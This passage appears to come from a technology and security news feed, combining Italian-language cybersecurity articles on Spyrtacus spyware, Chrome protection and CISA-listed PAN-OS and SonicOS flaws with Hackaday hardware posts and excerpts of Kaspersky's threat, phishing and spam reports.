• Human-driven targeted attacks are increasing. Human-driven targeted attacks accounted for 43% of high-severity incidents – 74% more than in 2023 and 43% more than in 2022. Despite advances in automated detection tools, motivated attackers continue to find ways to bypass them. To counter such threats, human-driven solutions like Managed Detection and Response are critical. For organizations with in-house security operations teams, internal processes and technologies must be equipped to handle the modern threat landscape. Comprehensive SOC consulting services can help achieve this.
• Attackers often return after a successful breach. The statistics consistently show that attackers often return after a successful attack. This is especially evident in the government sector, where attackers aim to persist in the system long-term for espionage purposes. In such cases, combining an XDR-equipped in-house SOC or outsourced MDR with regular Compromise Assessments is an effective way to detect and investigate incidents that may be missed by existing security measures.
• Living off the Land techniques remain prevalent. Attackers often use Living off the Land (LotL) methods in infrastructures lacking proper system configuration controls. A significant number of incidents are linked to unauthorized changes, such as adding accounts to privileged groups or weakening secure configurations. To minimize false positives in these scenarios, effective configuration management and formal procedures for implementing changes and managing access are crucial.
• User Execution and Phishing remain top threats. User Execution and Phishing techniques ranked again in the top three threats, with nearly 5% of high-severity incidents involving successful social engineering. Users are still the weakest link, making Security Awareness training an important focus for corporate information security planning.

To explore these and other trends in detail, download full report (PDF).

securelist.com/kaspersky-manag…

Il browser Google Chrome ha aggiornato la funzionalità di protezione avanzata. L’azienda afferma che d’ora in poi utilizzerà l’intelligenza artificiale per proteggere gli utenti in tempo reale da siti, download ed estensioni pericolosi.

La protezione avanzata basata sull’intelligenza artificiale è stata individuata per la prima volta a novembre dell’anno scorso, quando la descrizione della funzionalità in Chrome Canary è cambiata da protezione proattiva a protezione basata sull’intelligenza artificiale.

Ora, dopo diversi mesi di test, questo aggiornamento ha raggiunto la versione stabile del browser su tutte le piattaforme. Tuttavia, non è ancora del tutto chiaro in che modo la funzione aggiornata differisca dalla vecchia versione senza intelligenza artificiale.

La scorsa settimana, Google ha affermato che la protezione avanzata potrebbe utilizzare l’intelligenza artificiale per identificare determinati modelli in tempo reale e avvisare gli utenti della presenza di siti potenzialmente pericolosi che Google non aveva precedentemente rilevato. Inoltre, secondo gli sviluppatori, la protezione AI esegue una scansione approfondita per rilevare download sospetti.

Secondo Google, a febbraio 2025, più di un miliardo di utenti di Chrome hanno scelto la protezione avanzata rispetto alla modalità di navigazione sicura standard e ora sono “due volte più protetti contro il phishing e altri tipi di frode”.

L'articolo Google Chrome ora usa l’IA per proteggerti: addio ai siti pericolosi? proviene da il blog della sicurezza informatica.

I giornalisti di TechCrunch e gli esperti di sicurezza informatica hanno scoperto che in Italia esiste un’azienda che produce uno spyware commerciale chiamato Spyrtacus per clienti governativi. L’azienda è dietro una serie di app Android dannose che si spacciano per WhatsApp e altro ancora.

La storia ha avuto inizio alla fine dell’anno scorso, quando un lettore anonimo di TechCrunch ha fornito alla rivista tre app Android, sostenendo che si trattava di spyware governativi utilizzati contro vittime sconosciute in Italia. TechCrunch si è rivolta a Google e alla società di sicurezza mobile Lookout per chiedere aiuto nell’analisi delle app.

Entrambe le aziende hanno confermato che le app contenevano spyware.

Lo spyware Spyrtacus

Lookout ha concluso che lo spyware si chiamava Spyrtacus dopo aver trovato la parola nel codice di un vecchio campione di malware. Secondo i ricercatori, Spyrtacus presenta tutte le caratteristiche degli spyware governativi. Allo stesso tempo, le conclusioni degli analisti di Lookout sono state confermate in modo indipendente da specialisti di un’altra azienda di sicurezza informatica che hanno preferito rimanere anonimi.

Gli esperti affermano che Spyrtacus è in grado di rubare messaggi di testo e conversazioni da Facebook Messenger, Signal e WhatsApp, trasmettendo informazioni sui contatti della vittima ai suoi operatori, intercettando e registrando telefonate e suoni ambientali tramite il microfono del dispositivo, nonché immagini dalla fotocamera del dispositivo, e può svolgere altre attività di spionaggio.

Secondo gli esperti, Spyrtacus e molti altri campioni di malware studiati in precedenza sono stati creati dall’azienda italiana SIO. L’azienda sviluppa e distribuisce prodotti dannosi per Android che impersonano app popolari, tra cui WhatsApp e gli strumenti di assistenza clienti che gli operatori di telefonia mobile.

Pertanto, gli analisti di Lookout che hanno studiato il malware hanno riferito di aver già scoperto un totale di 13 diversi campioni di Spyrtacus, il più vecchio dei quali risale al 2019 e il più recente al 17 ottobre 2024. Altri campioni sono stati trovati tra il 2020 e il 2022, alcuni dei quali impersonavano app di operatori di telefonia mobile italiani (TIM, Vodafone e WINDTRE).

Spyware per campagne mirate

Dato che le app stesse, così come i siti web utilizzati per distribuirle, utilizzano la lingua italiana, i ricercatori suggeriscono che lo spyware sia stato utilizzato dalle forze dell’ordine italiane. Tuttavia, al momento non si sa contro quali obiettivi sia stato utilizzato Spyrtacus.

Google ha affermato che al momento non sono state trovate app nel Google Play Store che contengano il malware. Secondo Google, i campioni delle applicazioni ottenuti dalla pubblicazione sono stati utilizzati come parte di una “campagna mirata”. Quando i giornalisti hanno chiesto se versioni precedenti di Spyrtacus fossero già penetrate in Google Play, l’azienda ha risposto di non avere informazioni in merito.

È interessante notare che un rapporto di Kaspersky Lab del 2024 ha menzionato che nel 2018 Spyrtacus era distribuito tramite Google Play, ma nel 2019 gli autori del malware avevano iniziato a ospitare app su siti Web dannosi camuffati da quelli dei principali ISP italiani.

Contemporaneamente, i ricercatori di Kaspersky Lab hanno scoperto anche una versione di Spyrtacus per Windows e hanno trovato indizi che indicano l’esistenza di versioni di questo spyware per iOS e macOS.

Diversi segnali indicano immediatamente che dietro la creazione di Spyrtacus c’è SIO. In particolare, gli analisti di Lookout hanno scoperto che alcuni dei server di comando e controllo utilizzati per controllare da remoto lo spyware erano registrati a nome della società ASIGINT. Secondo un documento pubblico del 2024, ASIGINT è una sussidiaria di SIO e sviluppa software e servizi correlati all’intercettazione informatica.

Inoltre, l’organizzazione italiana indipendente The Lawful Intercept Academy, che rilascia certificati di conformità ai produttori di spyware che operano nel Paese, elenca SIO come titolare di un certificato per un prodotto spyware denominato SIOAGENT e afferma inoltre che il proprietario del prodotto è ASIGINT.

Il codice sia stato scritto da sviluppatori di Napoli?

Nel codice sorgente di uno degli esempi di Spyrtacus è stata trovata anche una riga che indicava che gli sviluppatori potevano essere di Napoli. Quindi, il codice sorgente contiene le parole “Scetáteve guagliune ‘e malavita”, e questo è un verso del testo della canzone tradizionale napoletana “Guapparia“.

I rappresentanti del governo italiano e del Ministero della Giustizia non hanno risposto alla richiesta di commento di TechCrunch. La SIO ha ignorato anche numerose richieste dei giornalisti. TechCrunch fa notare di aver provato a contattare il presidente e CEO di SIO e diversi dirigenti, tra cui il CFO e il CTO dell’azienda ma di non aver ricevuto risposta.

La pubblicazione ricorda che SIO è ben lungi dall’essere il primo produttore di spyware commerciali in Italia. Ad esempio, nel 2003 è stata fondata Hacking Team, una delle prime aziende a dimostrare che il mercato internazionale aveva bisogno di sistemi spyware facili da usare e pronti all’uso per le forze dell’ordine e le agenzie di intelligence.

L'articolo Spy Italia: Spyrtacus, lo Spyware realizzato in Italia che spia WhatsApp e Signal proviene da il blog della sicurezza informatica.

Like so many of us, [aforsberg] found themselves fascinated with the WOPR computer from WarGames — something about all those blinking LEDs must speak to nerds on some subconscious level. But rather than admire the light show from afar, they decided to recreate it at a scale suitable for a 1U server rack.

So what goes into this WOPR display? In this case, the recipe simply calls for three MAX7219 dot matrix LED modules and a Raspberry Pi Pico, although you could swap that out for your favorite microcontroller if you wish. You should probably stick with something that at least runs MicroPython though, or else you won’t be able to use the included Python code to mimic the light patterns seen in the film.

What we like most about this project is how simple and inexpensive it is to recreate. There’s no custom PCB, and all the parts are mass produced enough that the economies of scale have made them comically cheap. Even at Amazon prices, you’re looking at around $50 USD in parts, and quite a bit less if you’ve got the patience to order everything through AliExpress.

Critics will note that, in its current state, this display just shows gibberish (admittedly stylish gibberish, but still). But as we’ve seen with similar projects, that’s simply a matter of software.

hackaday.com/2025/02/19/add-a-…

While not impossible, replicating the machines and processes of a modern semiconductor fab is a pretty steep climb for the home gamer. Sure, we’ve seen it done, but nanoscale photolithography is a demanding process that discourages the DIYer at every turn. So if you want to make semiconductors at home, it might be best to change the rules a little and give something like this pulsed laser deposition prototyping apparatus a try.

Rather than building up a semiconductor by depositing layers of material onto a silicon substrate and selectively etching features into them with photolithography, [Sebastián Elgueta]’s chips will be made by adding materials in their final shape, with no etching required. The heart of the process is a multi-material pulsed laser deposition chamber, which uses an Nd:YAG laser to ablate one of six materials held on a rotating turret, creating a plasma that can be deposited onto a silicon substrate. Layers can either be a single material or, with the turret rapidly switched between different targets, a mix of multiple materials. The chamber is also equipped with valves for admitting different gases, such as oxygen when insulating layers of metal oxides need to be deposited. To create features, a pattern etched into a continuous web of aluminum foil by a second laser is used as a mask. When a new mask is needed, a fresh area of the foil is rolled into position over the substrate; this keeps the patterns in perfect alignment.

We’ve noticed regular updates on this project, so it’s under active development. [Sebastián]’s most recent improvements to the setup have involved adding electronics inside the chamber, including a resistive heater to warm the substrate before deposition and a quartz crystal microbalance to measure the amount of material being deposited. We’re eager to see what else he comes up with, especially when those first chips roll off the line. Until then, we’ll just have to look back at some of [Sam Zeloof]’s DIY semiconductors.

hackaday.com/2025/02/19/pulsed…

Something that you generally don’t expect as a North-America-based enthusiast, is to listen in on Russian military communications during their war in Ukraine via WebSDR, or that these communications would be passing through US military satellites that are happy to just broadcast anything. Yet that’s the situation that the Saveitforparts YouTube channel recently described. As it turns out, there is a gaggle of UFOs up there, as the US DoD lovingly calls them.

Between 1979 and 1989 eight FLTSATCOM launches took place, with FLTSATCOM 7 and 8 still operating today. They were later joined by their successor UHF Follow-On (UFO) with 11 launches between 1993 and 2003. All of these operate in the UHF spectrum, with some UFO satellites also covering other bands. Their goal is to provide communication for the military’s forces, with these satellites for the most part acting as simple repeaters. Over time non-military parties learned to use these satellites too, even if it’s technically illegal in many jurisdictions.

As described in the video, if you listen in on WebSDR streams from Ukraine, you can not only find encrypted military comms, but also unencrypted Russian radio traffic. It seems that in lieu of being provided with proper (encrypted) radio systems, Russian forces are using these US military satellites for communication much like how US (and NATO) forces would have. This is reminiscent of how Russian troops were caught using Discord via Starlink for communication, before Russian command shutdown Discord.

youtube.com/embed/EUuQwPAPR-E?…

Thanks to [Stephen Walters] for the tip.

hackaday.com/2025/02/19/the-us…

[James Sharman] designed and built his own 8-bit computer from scratch using TTL logic chips, including a VGA adapter, and you can watch it run a glorious rotating cube demo in the video below.

The rotating cube is the product of roughly 3,500 lines of custom assembly code and looks fantastic, running at 30 frames per second with shading effects from multiple light sources. Great results considering the computing power of his system is roughly on par with vintage 8-bit home computers, and the graphics capabilities are limited. [James]’s computer uses a tile map instead of a frame buffer, so getting 3D content rendered was a challenge.

The video is about 20 seconds of demo followed by a detailed technical discussion on how exactly one implements everything required for a 3D cube, from basic math to optimization. If a deep dive into that sort of thing is up your alley, give it a watch!

We’ve featured [James]’ fascinating work on his homebrew computer before. Here’s more detail on his custom VGA adapter, and his best shot at making it (kinda) run DOOM.

youtube.com/embed/kYb4Io7TQp4?…

hackaday.com/2025/02/19/homebr…

This week, Jonathan Bennett talks Rocky Linux with Gregory Kurtzer and Krista Burdine! Where did the project come from, and what’s the connection with CIQ and RESF? Listen to find out!

• CentOS primer
• Migration from CentOS
• Rocky Linux
• RESF FAQ
• CIQ Open Source Ethos

youtube.com/embed/3PoDpHK5I2Y?…

Did you know you can watch the live recording of the show right on our YouTube Channel? Have someone you’d like us to interview? Let us know, or contact the guest and have them contact us! Take a look at the schedule here.

play.libsyn.com/embed/episode/…

Direct Download in DRM-free MP3.

If you’d rather read along, here’s the transcript for this week’s episode.

Places to follow the FLOSS Weekly Podcast:

• Spotify
• RSS

Theme music: “Newer Wave” Kevin MacLeod (incompetech.com)

Licensed under Creative Commons: By Attribution 4.0 License

hackaday.com/2025/02/19/floss-…

Those of us who worked in TV repair shops, back when there was such a thing, will likely remember the cardinal rule of TV repair: Never touch the yoke if you can help it. The complex arrangement of copper wire coils and ferrite beads wrapped around a plastic cone attached to the neck of the CRT was critical to picture quality, and it took very little effort to completely screw things up. Fixing it would be a time-consuming and frustrating battle with the cams, screws, and spacers that kept the coils in the right orientation, both between themselves and relative to the picture tube. It was best to leave it the way the factory set it and to look elsewhere for solutions to picture problems.

But how exactly did the factory set up a deflection yoke? We had no idea at the time, only learning just recently about the wonders of automated deflection yoke yamming. The video below was made by Thomson Consumer Electronics, once a major supplier of CRTs to the television and computer monitor industry, and appears directed to its customers as a way of showing off their automated processes. They never really define yamming, but from the context of the video, it seems to be an industry term for the initial alignment of a deflection yoke during manufacturing. The manual process would require a skilled technician to manipulate the yoke while watching a series of test patterns on the CRT, slowly tweaking the coils to bring everything into perfect alignment.

Automating this process would have been a huge competitive advantage for a company like Thomson. Being able to provide correctly aligned CRT assemblies to a manufacturer would have been a productivity booster, especially since Thomson claimed to be able to adjust the process to the customer’s assembly line needs. They also say that the automated yamming process took just 30 seconds per tube thanks to a series of sensors and cameras watching the screen. The human element wasn’t completely eliminated, though; at the 3:50 mark, some unlucky QA tech is shown watching an endless carousel of tubes flashing a few test patterns to confirm the process. And you think your job sucks.

It’s not exactly clear when this video was made. The title suggests it was 1995, and that seems about right from the technology in the video, which includes a computer running a version of Windows from around that timeframe. Ironically, the LCD monitor on that touchscreen display was a harbinger of things to come for Thomson, which was out of the CRT business in the US less than a decade later.

youtube.com/embed/R3tS6T48_2Y?…

hackaday.com/2025/02/19/retrot…

La Cybersecurity and Infrastructure Security Agency (CISA) degli Stati Uniti ha aggiunto al suo catalogo delle vulnerabilità note sfruttate ( KEV ) due falle di sicurezza che interessano Palo Alto Networks PAN-OS e SonicWall SonicOS SSLVPN, sulla base di prove concrete di sfruttamento attivo.

La società di intelligence sulle minacce GreyNoise ha affermato che ben 25 indirizzi IP dannosi stanno sfruttando attivamente CVE-2025-0108, con il volume di attività degli aggressori in aumento di 10 volte da quando è stato rilevato quasi una settimana fa. Le prime tre fonti di traffico di attacco sono Stati Uniti, Germania e Paesi Bassi.

I difetti sono elencati di seguito:

• CVE-2025-0108 (punteggio CVSS: 7,8) – Una vulnerabilità di bypass dell’autenticazione nell’interfaccia web di gestione PAN-OS di Palo Alto Networks che consente a un aggressore non autenticato con accesso di rete all’interfaccia web di bypassare l’autenticazione normalmente richiesta e richiamare determinati script PHP
• CVE-2024-53704 (punteggio CVSS: 8,2) – Una vulnerabilità di broken authentication nel meccanismo di autenticazione SSLVPN che consente a un aggressore remoto di aggirare l’autenticazione

“Palo Alto Networks ha osservato tentativi di exploit che collegano CVE-2025-0108 con CVE-2024-9474 e CVE-2025-0111 su interfacce di gestione web PAN-OS non protette e non corrette”, si legge in un avviso aggiornato.

Per quanto riguarda il CVE-2024-53704, la società di sicurezza informatica Arctic Wolf ha rivelato che gli autori della minaccia stanno sfruttando la falla come arma poco dopo che Bishop Fox ha reso disponibile una proof-of-concept (PoC).

L'articolo Allarme CISA: vulnerabilità critiche in PAN-OS e SonicOS sotto attacco! proviene da il blog della sicurezza informatica.

We get it. We also watched Star Trek and thought how cool it would be to talk to our computer. From Kirk setting a self-destruct sequence, to Scotty talking into a mouse, or Picard ordering Earl Grey, we intuitively know that talking to a computer is better than typing, right? Well, computers talking back and forth to us is no longer science fiction, and maybe we aren’t as happy about it as we thought we’d be.

We weren’t able to pinpoint the first talking computer in fiction. Asimov and van Vogt had talking computers in the 1940s. “I, Robot” by Eando Binder, and not the more famous Asimov story, had a fully speaking robot in 1939. You could argue that “The Machine” in E. M. Forster’s “The Machine Stops” was probably speaking — the text is a little vague — and that was in 1909. The robot from Metropolis (1927) spoke after transforming, but you could argue that doesn’t count.

Meanwhile, In Real Life

In real life, computers weren’t as quick to speak. Before the middle of the twentieth century, machine-generated speech was an oddity. In 1779, a mechanical contrivance by Wolfgang von Kempelen, famous for the mechanical Turk chess-playing automaton, could form simple words. By 1939, Bell Labs could do even better speech synthesis electronically but with a human operator. It didn’t sound very good, as you can see in the video below, but it was certainly expressive.

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Speech recognition would wait until 1952, when Bell Labs showed a system that required training to understand someone speaking numbers. IBM could recognize 16 different utterances in 1961 with “Shoebox,” and, of course, that same year, they made an IBM 704 sing “Daisy Bell,” which would later inspire HAL 9000 to do the same.

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Recent advances in neural network systems and other AI techniques mean that now computers can generate and understand speech at a level even most fiction didn’t anticipate. These days, it is trivially easy to interact with your phone or your PC by using your voice. Of course, we sometimes question if every device needs AI smarts and a voice. We can maybe do without a smart toaster, for instance.

So What’s the Problem?

Patrick Blower’s famous cartoon about Amazon buying Whole Foods is both funny and tragically possible. In it, Jeff Bezos says, “Alexa, buy me something from Whole Foods.” To which Alexa replies, “Sure, Jeff. Buying Whole Foods.” Misunderstandings are one of the problems with voice input.

Every night, I say exactly the same phrase right before I go to sleep: “Hey, Google. Play my playlist sleep list.” About seven times out of ten, I get my playlist going. Two times out of ten, I get children’s lullabies or something even stranger. Occasionally, for variety, I get “Something went wrong. Try again later.” You can, of course, make excuses for this. The technology is new. Maybe my bedroom is noisy or has lousy acoustics. But still.

That’s not the only problem. Science fiction often predicts the future and, generally, newer science fiction is closer than older science fiction. But Star Trek sometimes turns that on its head. Picard had an office. Kirk worked out of his quarters at a time when working from home was almost unheard of. Offices are a forgotten luxury for many people, and if you are working from home, that’s fine. But if you are in a call center, a bullpen, or the bridge of the Enterprise, all this yakking back and forth with your computer will drive everyone crazy. Even if you train the computer to only recognize the user’s voice, it will still annoy you to have to hear everyone else’s notifications, messages, and alerts.

Today, humans are still better at understanding people than computers are. We all have a friend who consistently mispronounces “Arduino,” but we still know what he means. Or the colleague with a very thick accent, like Checkov trying to enter authorization code “wictor wictor two” in the recent movie. You knew what he meant, too.

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Some of the problems are social. I can’t tell you the number of times I’m in the middle of dictating an e-mail, and someone just comes up and starts talking to me, which then shows up in the middle of my sentence. Granted, that’s not a computer issue. But it is another example of why voice input systems are not always as delightful as you’d think.

Solutions?

Probably got great battery life.
Sure, maybe you could build a cone of silence over each station, but that has its own problems. Then again, Spock and Uhuru sometimes wore the biggest Bluetooth Earbud ever, so maybe that’s half of the answer. The other half could be subvocalization, but that’s mostly science fiction, although not entirely.

What do you think? Even telepathy probably has some downsides. You’d have to be careful what you think, right? What is the ideal human-computer interface? Or will future Star Fleet officers be typing on molecular keyboards? Or will it wind up all in our brains? Tell us what you think in the comments.

hackaday.com/2025/02/19/be-car…

It is easy to forget that many technology juggernauts weren’t always the only game in town. Ethernet seems ubiquitous today, but it had to fight past several competing standards. VHS and Blu-ray beat out their respective competitors. But what about USB? Sure, it was off to a rocky start in the beginning, but what was the real competition at that time? SCSI? Firewire? While those had plusses and minuses, neither were really in a position to fill the gap that USB would inhabit. But [Ernie Smith] remembers ACCESS.bus (or, sometimes, A.b) — what you might be using today if USB hadn’t taken over the world.

Back in the mid-1980s, there were several competing serial bus systems including Apple Desktop Bus and some other brand-specific things from companies like Commodore (the IEC bus) and Atari (SIO). The problem is that all of these things belong to one company. If you wanted to make, say, keyboards, this was terrible. Your Apple keyboard didn’t fit your Atari or your IBM computer. But there was a very robust serial protocol already in use — one you’ve probably used yourself. IIC or I2C (depending on who you ask).

I2C is robust, simple, and cheap to implement with reasonable licensing from Philips. It just needed a little tweaking to make it suitable for peripheral use, and that was the idea behind ACCESS.bus. [Ernie] tracked down a 1991 article that covered the technology and explained a good bit of the how and why. You can also find a comparison of A.b, I2C, and SMBus in this old datasheet. You can even find the 3.0 version of the spec online. While DEC was instrumental in the standard, some of their equipment used SERIAL.bus, which was identical except for using 12 V power and having a slightly different pinout.

The DEC Station 5000 was an early adopter of ACCESS.bus. From the user’s guide:

In theory, one ACCESS.bus port could handle 125 devices. It didn’t have a hub architecture like USB, but instead, you plugged one device into another. So your mouse plugs into your keyboard, which plugs into your printer, and finally connects to your PC.

The speed wasn’t that great — about 100 kilobits per second. So if ACCESS.bus had won, it would have needed to speed up when flash drives and the like became popular. However, ACCESS.bus does sort of live even today. Computer monitors that support DDC — that is, all of them in modern times — use a form of ACCESS.bus so the screen you are reading this on is using it right now so the monitor and PC can communicate things like refresh rates.

We love to read (and write) these deep dives into obscure tech. The Avatar Shark comes to mind. Or drives that used photographic film.

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The year in figures

• 27% of all emails sent worldwide and 48.57% of all emails sent in the Russian web segment were spam
• 18% of all spam emails were sent from Russia
• Kaspersky Mail Anti-Virus blocked 125,521,794 malicious email attachments
• Our Anti-Phishing system thwarted 893,216,170 attempts to follow phishing links
• Chat Protection in Kaspersky mobile solutions prevented more than 60,000 redirects via phishing links from Telegram

Phishing and scams in 2024

Phishing for travelers

In 2024, cybercriminals targeted travel enthusiasts using fake hotel and airline booking websites. In one simple scheme, a fraudulent site asked users to enter their login credentials to complete their booking — these credentials ended up in criminal hands. Sometimes, the fake login form appeared under multiple brand names at once (for example, both Booking and Airbnb).

Another scheme involved a more sophisticated fake site, where users could even select the purpose of their trip (business or leisure). To complete the booking, the scammers requested bank card details, claiming that a certain sum would be temporarily blocked on the account to verify the card’s authenticity. Legitimate booking services regularly request payment details, so the victim may not suspect anything in this case. To rush users into entering their data carelessly, on the phishing page, the scammers displayed warnings about dwindling accommodation availability and an imminent payment deadline for the booking. If the victim entered their data, the funds were not frozen but went straight into the criminals’ pockets.

Cyberthreats in the travel sector affected not only tourists but also employees of travel agencies. By gaining access to a corporate account, criminals could conduct financial transactions on behalf of employees and gain access to large customer databases.

Fake accommodation sites often sent messages to property owners, telling them to log in to “manage their property.” This scheme targeted people renting out their homes through online booking platforms.

Other scam pages featured surveys, offering respondents gifts or prize draws for participating. In this case, victims risked both their credentials and their money. Such fake giveaways are a classic scam tactic. They are often timed to coincide with a significant date for the travel industry or a specific company. For example, the screenshot below shows an offer to take part in a giveaway of airline tickets to celebrate Ryanair’s birthday.

After completing the survey, users may be asked to share the offer with a certain number of contacts, and then pay a small fee to receive the expensive gift. Of course, these prizes are non-existent.

Trapped in social networks

To steal credentials for social media and messenger accounts, scammers used another classic technique: asking users to verify themselves. In one scheme, the victim was redirected to a website that completely replicated WhatsApp’s design. The user entered their phone number and login code, handing their credentials straight over to the cybercriminals.

Beyond verification scams, fraudsters also lured victims with attractive offers. For example, in the screenshot below, the victim is promised free Instagram followers.

Some cybercriminals also used the promise of adult content to lure victims into entering their credentials in a fake authorization form.

Other scammers took advantage of Facebook and Instagram being owned by the same company. On a fraudulent page, they claimed to offer a service that allowed users to find Instagram profiles by entering their Facebook login and password.

Some scams offered users a surprise “gift” — a free Telegram Premium subscription. To enable the messenger’s premium features, the victim only had to enter their phone number and a one-time code on a fraudulent website.

Some fake social media and messenger pages were designed not to steal login credentials but to install malware on victims’ devices. Taking advantage of the popularity of Facebook Lite for Android, scammers offered users a “more advanced official version”, claiming it had extra features missing in the original app. However, instead of an upgraded app, users downloaded malware onto their devices.

Similarly, installing a supposedly free Telegram client with an activated Premium subscription often led to downloading malware.

Social media business services were increasingly used as a pretext for credential theft, as they play a key role in developing and promoting businesses and are directly linked to financial operations. Cybercriminals tricked Telegram channel owners into logging in to a phishing platform imitating the official Telegram Ads tool, thereby stealing their Telegram credentials. To make the scam more convincing, the attackers detailed how Telegram advertising works and promised millions of ad views per month.

TikTok users have also been targeted. TikTok Shop allows sellers to list curated products—items featured in videos—for potential buyers to find and purchase. Scammers created fake TikTok Shop pages to steal seller credentials, potentially leading to both reputational and financial damage.

In another case, fraudsters informed Facebook fan page owners of unusual activity in their accounts. Potential victims were prompted to check their profile by entering their login credentials into a phishing form.

Cryptocurrency: don’t mistake scams for real deals

One of last year’s most sensational stories was the cryptocurrency game Hamster Kombat. This clicker game, simulating the creation of a crypto exchange in a gamified format, quickly attracted a massive audience. Players eagerly awaited the moment when the in-game coins could be exchanged for real virtual currency. But while the official listing was delayed, the fraudulent schemes wasted no time.

Fraudsters claimed to offer cash-out services for in-game coins by converting them into rubles. To withdraw money, criminals claimed, users just had to log in through a fake Telegram page.

The growing anticipation for the new cryptocurrency’s market launch was frequently exploited by cybercriminals to steal seed phrases from crypto wallets. Scammers announced an early token sale, requiring users to log in through a fake page to participate. Of course, there was no mention of such promotions on official resources.

The popularity of Hamster Kombat was also abused in scam schemes. For example, users were offered access to a crypto wallet supposedly containing a significant sum in virtual coins. To claim it, the unsuspecting victims had to share information about the “opportunity” with a certain number of contacts in messaging apps. Having made their potential victim an accomplice in spreading false information, the scammers demanded a small commission for the withdrawal and disappeared with the stolen money.

A more elaborate scam also aimed to trick users into paying a “commission”, but with a slightly different approach. First, visitors to the page were asked to register to learn about some new activity related to Hamster Kombat.

Once registered, they were suddenly informed of having won a large amount of the HMSTR cryptocurrency supposedly as part of an experiment conducted on the platform. Exploiting uncertainty around the token’s listing, scammers urged victims to bypass the official trading launch and exchange their in-game currency for Bitcoin immediately.

To make it more convincing, the page displayed an exchange rate at which the “prize” would be converted.

However, after clicking the “Exchange coins” button, users were prompted to pay a commission for the service.

Everyone who paid this fee lost their money and received no Bitcoin.

Phishing attacks also targeted TON wallet users. In this case, scammers lured victims with promises of bonuses, requiring them to link their crypto wallets on fraudulent websites.

TON cryptocurrency was also used as bait in scam schemes. In a classic scenario, users were promised a quick way to earn digital currency. Fraudsters advertised a cloud mining service that allegedly generated high profits without any effort. After registering, unsuspecting users could monitor their “earnings” but had to pay a commission in cryptocurrency to withdraw funds.

Another “profitable” crypto scam resembled a Ponzi scheme: victims were required to recruit at least five new participants into the program—without receiving any money, of course. The scam site mimicked an online earning platform.

Visitors were instructed to install Telegram and use an unofficial bot to activate a crypto wallet where profits would supposedly be deposited.

According to the instructions, users then had to buy Toncoin and register in the program through a referral link from another participant. The scam worked by enticing people to make a small investment in the hopes of making big profits—the victims used their own funds to purchase the cryptocurrency for registration. But as with any pyramid scheme, only those at the top profited, while everyone else was left with nothing but empty dreams.

All or nothing: multipurpose phishing

Victims of phishing frequently included bank clients and users of government service portals. In such schemes, users first received a notification that they needed to update their account credentials. Cybercriminals used various communication channels to contact their victims: email, text messages, and chats in messaging apps. The victims were then led to fake sites where they were asked to provide their personal data. First, they entered their personal login credentials on the organization’s website.

Next, they were prompted to provide their email account credentials. The scammers also attempted to collect identity document details and other data, including the bank card PIN code.

Additionally, these phishing forms requested answers to security questions commonly used for additional verification in banking transactions.

This way, the cybercriminals gained full access to the victim’s account. Even the PIN code could be useful for the scammers in gaining access to the account. Security questions served as an extra safeguard for fraudsters in case the bank’s security service detected suspicious activity.

False idols

Phishing schemes also exploited the images of real people. For example, users browsing YouTube could stumble upon ad videos of celebrities announcing giveaways for their fans. Clicking the link in such a video led users to a page containing a post supposedly from the celebrity’s social media account, explaining how to claim the prize. However, when attempting to collect the “winnings”, visitors were asked to pay a small commission—insignificant compared to the value of the “gift.” Needless to say, those who paid the fee lost their money. The prize never existed, and the video was nothing more than a deepfake.

Spam in 2024

Scams

Token giveaway scam

Throughout the year, we frequently encountered emails announcing fake cryptocurrency airdrops, allegedly from teams of well-known crypto projects. The recipients, referred to as the platform’s “most valuable users,” were invited to participate in an “exclusive” event as a thank you for their loyalty and exceptional engagement.

New users unfamiliar with cryptocurrency were lured in with a unique opportunity to take part in the token giveaway and win a large sum—all they had to do was register on the platform, which was, of course, fake.

Scammers in 2024 closely monitored cryptocurrency market news. For example, in the spring, ahead of Notcoin’s upcoming listing, scam messages appeared featuring countdown timers, urging potential victims to participate in an airdrop allegedly arranged just for them.

Scam emails also targeted users of the cryptocurrency game Hamster Kombat, popular among Russian-speakers. Players eagerly awaited the HMSTR token listing, which was repeatedly postponed—a delay that scammers were quick to exploit. In the fall of 2024, they began sending emails pretending to be from the Hamster Kombat team, promising generous cash prizes if victims clicked a link to a fake game site.

Similar offers were distributed via a fraudulent website mimicking a major cryptocurrency exchange. In both cases, to claim the coveted tokens, victims had to link their cryptocurrency wallets.

“Nigerian” scam

In 2024, the Nigerian scam remained popular among spammers. Furthermore, fraudsters used both time-tested and trending themes to deceive victims. Cybercriminals employed various tricks and manipulations to engage with email recipients, with the ultimate goal of extracting money.

Most often, users were lured into classic schemes: fraudsters posed as terminally ill wealthy individuals seeking a worthy heir, lottery winners eager to share their prize, or investors offering opportunities in a promising business. Sometimes, to evade suspicion, scammers “rescued” their victims from other fraudsters and offered to compensate them for any financial losses. For example, in the summer of 2024, we came across an interesting case where an alleged victim of crypto fraud suggested that fellow sufferers contact a group of noble hackers for help recovering lost cryptocurrency.

Some scam offers were quite unexpected, as they didn’t promise vast riches, and, therefore, might not attract such a wide audience. In mid-to-late 2024, we saw scam emails claiming to be looking for new owners for pianos due to relocation or the previous owner’s passing.

We also encountered even more creative scam narratives. For example, an email allegedly sent from a secret society of Illuminati promising to share their wealth, power and fame if the recipients agree to join their grand brotherhood.

Other “Nigerian” scam emails capitalized on current news events. Thus, the most talked-about event of 2024, the US presidential election, significantly influenced the types of scams we saw. For example, one scam email claimed that the recipients were incredibly lucky to be eligible to receive millions of dollars from Donald Trump’s foundation.

Scam in the Russian segment

Last year, the Russian segment of the internet was not spared from mass scam mailings. We frequently encountered schemes mimicking investment projects of major banks, promising users easy earnings and bonuses. Fraudsters also sent out emails with promotional offers from home appliance and electronics stores. Customers were informed of huge discounts on sales that were supposedly about to end.

The links in such emails led to fraudulent websites that looked identical to legitimate online stores but stood out with extremely low prices. After paying for their desired items, customers lost their money, as orders were never actually placed.

Beyond electronics, scammers also offered other discounted products. In one such campaign, users received an email advertising a sneaker store selling popular models at affordable prices.

Judging by the technical headers of the emails, both the sneaker store and electronics store promotions were sent by the same fraudsters.

Additionally, we came across emails offering recipients to apply for debit or credit cards under favorable conditions. Unlike the electronics and shoe sale scams, these messages were legitimate referral programs from major banks, which enterprising spammers tried to monetize. Technically, such emails are not scams, as their links lead to real banking websites, and recipients do not face any risks. However, senders profit from registrations via the referral program. Nevertheless, we do not recommend clicking links from unknown senders, as seemingly harmless emails from a referral platform could be phishing or scam messages.

Emails with malicious links and attachments

Password-protected archives

